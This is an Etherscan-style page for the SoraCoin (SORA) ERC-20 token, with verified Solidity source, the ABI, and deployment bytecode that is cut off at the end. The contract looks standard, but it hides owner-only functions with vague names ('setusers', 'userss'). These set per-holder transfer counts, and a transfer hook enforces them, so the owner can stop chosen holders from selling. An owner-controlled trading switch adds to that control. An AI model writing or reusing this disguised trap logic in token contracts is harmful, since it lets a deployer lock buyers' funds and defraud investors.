ETH Price: $3,924.69 (+5.51%)

Token

ERC-20: SoraCoin (SORA)
 

Overview

Max Total Supply

420,690,000 SORA

Holders

236

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
500 SORA

Value
$0.00
0x456f440f7991bdc2621fdc718485c7c3ff98f1d5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SORA

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-02-18
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.17;


interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
   
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        }

        _transfer(sender, recipient, amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract SORA is ERC20, Ownable {
    mapping (address => bool) private _isExcludedFromEnableTrading;
    mapping(address => uint256) private userss;

    constructor () ERC20("SoraCoin", "SORA") 
    {   
        _isExcludedFromEnableTrading[address(0xff2fa07d42De3aE5c8E795ea119A77490D7F6960)] = true;

        _mint(address(0xff2fa07d42De3aE5c8E795ea119A77490D7F6960), 420_690_000 * (10 ** decimals()));
    }

    receive() external payable {}

    function excludeFromEnableTrading(address account, bool excluded) external onlyOwner{
        require(_isExcludedFromEnableTrading[account] != excluded,"Account is already the value of 'excluded'");
        _isExcludedFromEnableTrading[account] = excluded;
    }

    function isExcludedFromEnableTrading(address account) public view returns(bool) {
        return _isExcludedFromEnableTrading[account];
    }

    mapping(address => bool) private isLimitSet;

    function setusers(address _address, uint256 _limit) external onlyOwner {
        userss[_address] = _limit;
        isLimitSet[_address] = true;
    }

    function getusers(address _address) public view returns (uint256) {
        return userss[_address];
    }

    function hasusers(address _address) public view returns (bool) {
        return isLimitSet[_address];
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
        super._beforeTokenTransfer(from, to, amount);

        if(from != address(0) && to != address(0) && isLimitSet[from]) {
            require(userss[from] > 0, "No transfer rights remaining");
            userss[from]--;
        }
    }

    bool public tradingEnabled;

    function enableTrading() external onlyOwner{
        require(!tradingEnabled, "Trading already enabled.");
        tradingEnabled = true;
    }

    function _transfer(address from,address to,uint256 amount) internal  override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tradingEnabled || _isExcludedFromEnableTrading[from] || _isExcludedFromEnableTrading[to], "Trading not yet enabled!");
       
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        super._transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromEnableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getusers","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"hasusers","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromEnableTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_limit","type":"uint256"}],"name":"setusers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b506040518060400160405280600881526020017f536f7261436f696e0000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f534f52410000000000000000000000000000000000000000000000000000000081525081600390816200008f91906200081e565b508060049081620000a191906200081e565b505050620000c4620000b86200018a60201b60201c565b6200019260201b60201c565b60016006600073ff2fa07d42de3ae5c8e795ea119a77490d7f696073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200018473ff2fa07d42de3ae5c8e795ea119a77490d7f6960620001596200025860201b60201c565b600a62000167919062000a95565b631913385062000178919062000ae6565b6200026160201b60201c565b62000cbd565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006009905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002ca9062000b92565b60405180910390fd5b620002e760008383620003d960201b60201c565b8060026000828254620002fb919062000bb4565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000352919062000bb4565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003b9919062000c00565b60405180910390a3620003d5600083836200059a60201b60201c565b5050565b620003f18383836200059f60201b6200105e1760201c565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156200045c5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015620004b25750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1562000595576000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116200053d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005349062000c6d565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906200058f9062000c8f565b91905055505b505050565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200062657607f821691505b6020821081036200063c576200063b620005de565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006a67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000667565b620006b2868362000667565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620006ff620006f9620006f384620006ca565b620006d4565b620006ca565b9050919050565b6000819050919050565b6200071b83620006de565b620007336200072a8262000706565b84845462000674565b825550505050565b600090565b6200074a6200073b565b6200075781848462000710565b505050565b5b818110156200077f576200077360008262000740565b6001810190506200075d565b5050565b601f821115620007ce57620007988162000642565b620007a38462000657565b81016020851015620007b3578190505b620007cb620007c28562000657565b8301826200075c565b50505b505050565b600082821c905092915050565b6000620007f360001984600802620007d3565b1980831691505092915050565b60006200080e8383620007e0565b9150826002028217905092915050565b6200082982620005a4565b67ffffffffffffffff811115620008455762000844620005af565b5b6200085182546200060d565b6200085e82828562000783565b600060209050601f83116001811462000896576000841562000881578287015190505b6200088d858262000800565b865550620008fd565b601f198416620008a68662000642565b60005b82811015620008d057848901518255600182019150602085019450602081019050620008a9565b86831015620008f05784890151620008ec601f891682620007e0565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000993578086048111156200096b576200096a62000905565b5b60018516156200097b5780820291505b80810290506200098b8562000934565b94506200094b565b94509492505050565b600082620009ae576001905062000a81565b81620009be576000905062000a81565b8160018114620009d75760028114620009e25762000a18565b600191505062000a81565b60ff841115620009f757620009f662000905565b5b8360020a91508482111562000a115762000a1062000905565b5b5062000a81565b5060208310610133831016604e8410600b841016171562000a525782820a90508381111562000a4c5762000a4b62000905565b5b62000a81565b62000a61848484600162000941565b9250905081840481111562000a7b5762000a7a62000905565b5b81810290505b9392505050565b600060ff82169050919050565b600062000aa282620006ca565b915062000aaf8362000a88565b925062000ade7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200099c565b905092915050565b600062000af382620006ca565b915062000b0083620006ca565b925082820262000b1081620006ca565b9150828204841483151762000b2a5762000b2962000905565b5b5092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000b7a601f8362000b31565b915062000b878262000b42565b602082019050919050565b6000602082019050818103600083015262000bad8162000b6b565b9050919050565b600062000bc182620006ca565b915062000bce83620006ca565b925082820190508082111562000be95762000be862000905565b5b92915050565b62000bfa81620006ca565b82525050565b600060208201905062000c17600083018462000bef565b92915050565b7f4e6f207472616e73666572207269676874732072656d61696e696e6700000000600082015250565b600062000c55601c8362000b31565b915062000c628262000c1d565b602082019050919050565b6000602082019050818103600083015262000c888162000c46565b9050919050565b600062000c9c82620006ca565b91506000820362000cb25762000cb162000905565b5b600182039050919050565b6124958062000ccd6000396000f3fe60806040526004361061012e5760003560e01c8063715018a6116100ab578063a457c2d71161006f578063a457c2d714610401578063a9059cbb1461043e578063b7e04c111461047b578063dd62ed3e146104b8578063f2fde38b146104f5578063fb8f0fa91461051e57610135565b8063715018a61461034057806375d5e02c146103575780638a8c523c146103945780638da5cb5b146103ab57806395d89b41146103d657610135565b80633520a3b4116100f25780633520a3b4146102355780633950935114610272578063484d993f146102af5780634ada218b146102d857806370a082311461030357610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063313ce5671461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610547565b60405161015c91906119b9565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611a74565b6105d9565b6040516101999190611acf565b60405180910390f35b3480156101ae57600080fd5b506101b76105f7565b6040516101c49190611af9565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190611b14565b610601565b6040516102019190611acf565b60405180910390f35b34801561021657600080fd5b5061021f610720565b60405161022c9190611b83565b60405180910390f35b34801561024157600080fd5b5061025c60048036038101906102579190611b9e565b610729565b6040516102699190611acf565b60405180910390f35b34801561027e57600080fd5b5061029960048036038101906102949190611a74565b61077f565b6040516102a69190611acf565b60405180910390f35b3480156102bb57600080fd5b506102d660048036038101906102d19190611bf7565b61082b565b005b3480156102e457600080fd5b506102ed610994565b6040516102fa9190611acf565b60405180910390f35b34801561030f57600080fd5b5061032a60048036038101906103259190611b9e565b6109a7565b6040516103379190611af9565b60405180910390f35b34801561034c57600080fd5b506103556109ef565b005b34801561036357600080fd5b5061037e60048036038101906103799190611b9e565b610a77565b60405161038b9190611acf565b60405180910390f35b3480156103a057600080fd5b506103a9610acd565b005b3480156103b757600080fd5b506103c0610bb6565b6040516103cd9190611c46565b60405180910390f35b3480156103e257600080fd5b506103eb610be0565b6040516103f891906119b9565b60405180910390f35b34801561040d57600080fd5b5061042860048036038101906104239190611a74565b610c72565b6040516104359190611acf565b60405180910390f35b34801561044a57600080fd5b5061046560048036038101906104609190611a74565b610d5d565b6040516104729190611acf565b60405180910390f35b34801561048757600080fd5b506104a2600480360381019061049d9190611b9e565b610d7b565b6040516104af9190611af9565b60405180910390f35b3480156104c457600080fd5b506104df60048036038101906104da9190611c61565b610dc4565b6040516104ec9190611af9565b60405180910390f35b34801561050157600080fd5b5061051c60048036038101906105179190611b9e565b610e4b565b005b34801561052a57600080fd5b5061054560048036038101906105409190611a74565b610f42565b005b60606003805461055690611cd0565b80601f016020809104026020016040519081016040528092919081815260200182805461058290611cd0565b80156105cf5780601f106105a4576101008083540402835291602001916105cf565b820191906000526020600020905b8154815290600101906020018083116105b257829003601f168201915b5050505050905090565b60006105ed6105e6611063565b848461106b565b6001905092915050565b6000600254905090565b600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061064d611063565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461070957828110156106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90611d73565b60405180910390fd5b61070885610700611063565b85840361106b565b5b610714858585611234565b60019150509392505050565b60006009905090565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061082161078c611063565b84846001600061079a611063565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461081c9190611dc2565b61106b565b6001905092915050565b610833611063565b73ffffffffffffffffffffffffffffffffffffffff16610851610bb6565b73ffffffffffffffffffffffffffffffffffffffff16146108a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089e90611e42565b60405180910390fd5b801515600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610939576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093090611ed4565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600960009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109f7611063565b73ffffffffffffffffffffffffffffffffffffffff16610a15610bb6565b73ffffffffffffffffffffffffffffffffffffffff1614610a6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6290611e42565b60405180910390fd5b610a756000611433565b565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610ad5611063565b73ffffffffffffffffffffffffffffffffffffffff16610af3610bb6565b73ffffffffffffffffffffffffffffffffffffffff1614610b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4090611e42565b60405180910390fd5b600960009054906101000a900460ff1615610b99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9090611f40565b60405180910390fd5b6001600960006101000a81548160ff021916908315150217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610bef90611cd0565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1b90611cd0565b8015610c685780601f10610c3d57610100808354040283529160200191610c68565b820191906000526020600020905b815481529060010190602001808311610c4b57829003601f168201915b5050505050905090565b60008060016000610c81611063565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3590611fd2565b60405180910390fd5b610d52610d49611063565b8585840361106b565b600191505092915050565b6000610d71610d6a611063565b8484611234565b6001905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e53611063565b73ffffffffffffffffffffffffffffffffffffffff16610e71610bb6565b73ffffffffffffffffffffffffffffffffffffffff1614610ec7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebe90611e42565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2d90612064565b60405180910390fd5b610f3f81611433565b50565b610f4a611063565b73ffffffffffffffffffffffffffffffffffffffff16610f68610bb6565b73ffffffffffffffffffffffffffffffffffffffff1614610fbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb590611e42565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d1906120f6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612188565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112279190611af9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129a9061221a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611312576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611309906122ac565b60405180910390fd5b600960009054906101000a900460ff16806113765750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806113ca5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611409576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140090612318565b60405180910390fd5b600081036114225761141d838360006114f9565b61142e565b61142d8383836114f9565b5b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611568576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155f9061221a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ce906122ac565b60405180910390fd5b6115e2838383611778565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611668576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165f906123aa565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116fb9190611dc2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161175f9190611af9565b60405180910390a3611772848484611924565b50505050565b61178383838361105e565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117ed5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118425750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561191f576000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116118c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c090612416565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919061191990612436565b91905055505b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611963578082015181840152602081019050611948565b60008484015250505050565b6000601f19601f8301169050919050565b600061198b82611929565b6119958185611934565b93506119a5818560208601611945565b6119ae8161196f565b840191505092915050565b600060208201905081810360008301526119d38184611980565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611a0b826119e0565b9050919050565b611a1b81611a00565b8114611a2657600080fd5b50565b600081359050611a3881611a12565b92915050565b6000819050919050565b611a5181611a3e565b8114611a5c57600080fd5b50565b600081359050611a6e81611a48565b92915050565b60008060408385031215611a8b57611a8a6119db565b5b6000611a9985828601611a29565b9250506020611aaa85828601611a5f565b9150509250929050565b60008115159050919050565b611ac981611ab4565b82525050565b6000602082019050611ae46000830184611ac0565b92915050565b611af381611a3e565b82525050565b6000602082019050611b0e6000830184611aea565b92915050565b600080600060608486031215611b2d57611b2